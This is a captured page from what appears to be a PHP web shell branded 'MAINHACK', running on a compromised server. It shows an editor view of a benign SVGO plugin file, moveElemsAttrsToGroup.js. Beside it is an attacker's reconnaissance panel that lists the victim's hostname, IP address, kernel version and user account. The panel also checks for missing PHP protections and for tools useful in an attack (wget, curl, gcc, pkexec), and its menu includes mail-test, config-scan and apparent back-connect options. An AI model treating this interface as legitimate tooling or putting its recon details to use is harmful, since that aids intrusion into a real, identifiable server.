[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: moveElemsAttrsToGroup.js
'use strict'; const { visit } = require('../lib/xast.js'); const { inheritableAttrs, pathElems } = require('./_collections.js'); exports.type = 'visitor'; exports.name = 'moveElemsAttrsToGroup'; exports.active = true; exports.description = 'Move common attributes of group children to the group'; /** * Move common attributes of group children to the group * * @example * <g attr1="val1"> * <g attr2="val2"> * text * </g> * <circle attr2="val2" attr3="val3"/> * </g> * ⬇ * <g attr1="val1" attr2="val2"> * <g> * text * </g> * <circle attr3="val3"/> * </g> * * @author Kir Belevich * * @type {import('../lib/types').Plugin<void>} */ exports.fn = (root) => { // find if any style element is present let deoptimizedWithStyles = false; visit(root, { element: { enter: (node) => { if (node.name === 'style') { deoptimizedWithStyles = true; } }, }, }); return { element: { exit: (node) => { // process only groups with more than 1 children if (node.name !== 'g' || node.children.length <= 1) { return; } // deoptimize the plugin when style elements are present // selectors may rely on id, classes or tag names if (deoptimizedWithStyles) { return; } /** * find common attributes in group children * @type {Map<string, string>} */ const commonAttributes = new Map(); let initial = true; let everyChildIsPath = true; for (const child of node.children) { if (child.type === 'element') { if (pathElems.includes(child.name) === false) { everyChildIsPath = false; } if (initial) { initial = false; // collect all inheritable attributes from first child element for (const [name, value] of Object.entries(child.attributes)) { // consider only inheritable attributes if (inheritableAttrs.includes(name)) { commonAttributes.set(name, value); } } } else { // exclude uncommon attributes from initial list for (const [name, value] of commonAttributes) { if (child.attributes[name] !== value) { commonAttributes.delete(name); } } } } } // preserve transform on children when group has clip-path or mask if ( node.attributes['clip-path'] != null || node.attributes.mask != null ) { commonAttributes.delete('transform'); } // preserve transform when all children are paths // so the transform could be applied to path data by other plugins if (everyChildIsPath) { commonAttributes.delete('transform'); } // add common children attributes to group for (const [name, value] of commonAttributes) { if (name === 'transform') { if (node.attributes.transform != null) { node.attributes.transform = `${node.attributes.transform} ${value}`; } else { node.attributes.transform = value; } } else { node.attributes[name] = value; } } // delete common attributes from children for (const child of node.children) { if (child.type === 'element') { for (const [name] of commonAttributes) { delete child.attributes[name]; } } } }, }, }; };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002